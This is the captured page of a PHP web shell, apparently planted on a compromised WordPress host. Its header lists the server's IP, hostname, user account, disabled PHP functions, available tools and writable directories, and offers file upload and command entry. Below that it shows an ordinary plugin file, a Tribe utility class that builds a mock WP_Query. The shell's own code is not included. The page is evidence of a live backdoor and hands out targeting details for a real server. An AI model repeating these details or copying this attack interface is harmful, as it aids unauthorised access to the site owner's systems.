403Webshell
Server IP : 78.24.162.143  /  Your IP : 216.73.217.78
Web Server : Apache
System : Linux hosting.cormo.systems 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64
User : web63 ( 5058)
PHP Version : 7.4.33
Disable Function : create_functions,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/clients/client34/web63/web/wp-content/plugins/pods/tribe-common/src/Tribe/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client34/web63/web/wp-content/plugins/pods/tribe-common/src/Tribe/Utils/Query.php
<?php
/**
 * Provides utility method related to the creation and manipulation of queries and query objects.
 *
 * @since   4.9.21
 *
 * @package Tribe\Utils
 */

namespace Tribe\Utils;

/**
 * Class Query
 *
 * @since   4.9.21
 *
 * @package Tribe\Utils
 */
class Query {

	/**
	 * Builds a new `WP_Query` object and sets the post, and accessory flags, on it.
	 *
	 * The query is built to yield to run a query that will yield no result and to have a `request` property that
	 * will never yield results; calls on the `WP_Query::get_posts` method are filtered to always return the post set.
	 * Queries built by this function can be spotted by looking for the `tribe_mock_query` property.
	 *
	 * @since 4.9.21
	 *
	 * @param array $posts The array of posts that should be used to build the query.
	 *
	 * @return \WP_Query The new WP_Query object, built to reflect the posts passed to it.
	 */
	public static function for_posts( array $posts = [] ) {
		if ( empty( $posts ) ) {
			$posts = [];
		}

		$query                   = new \WP_Query();
		$query->posts            = $posts;
		$query->found_posts      = count( $posts );
		$query->post             = reset( $posts );
		$query->query            = [ 'p' => 0 ];
		$query->tribe_mock_query = true;
		global $wpdb;
		// Use a query that will never yield results.
		$query->request = "SELECT ID FROM {$wpdb->posts} WHERE 1=0";

		// Return the same set of posts on each method requiring posts.
		$filter_posts_pre_query = static function ( $the_posts, $the_query ) use ( $posts, $query ) {
			if ( $the_query !== $query ) {
				return $the_posts;
			}

			$fields = $query->get( 'fields', false );
			// We assume some uniformity here.
			$posts_are_objects = ! is_numeric( reset( $posts ) );

			switch ( $fields ) {
				case 'ids':
					return $posts_are_objects ? wp_list_pluck( $posts, 'ID' ) : $posts;
				case 'id=>parent':
				default:
					return $posts_are_objects ? $posts : array_map( 'get_post', $posts );
			}
		};

		add_filter( 'posts_pre_query', $filter_posts_pre_query, 10, 2 );

		return $query;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit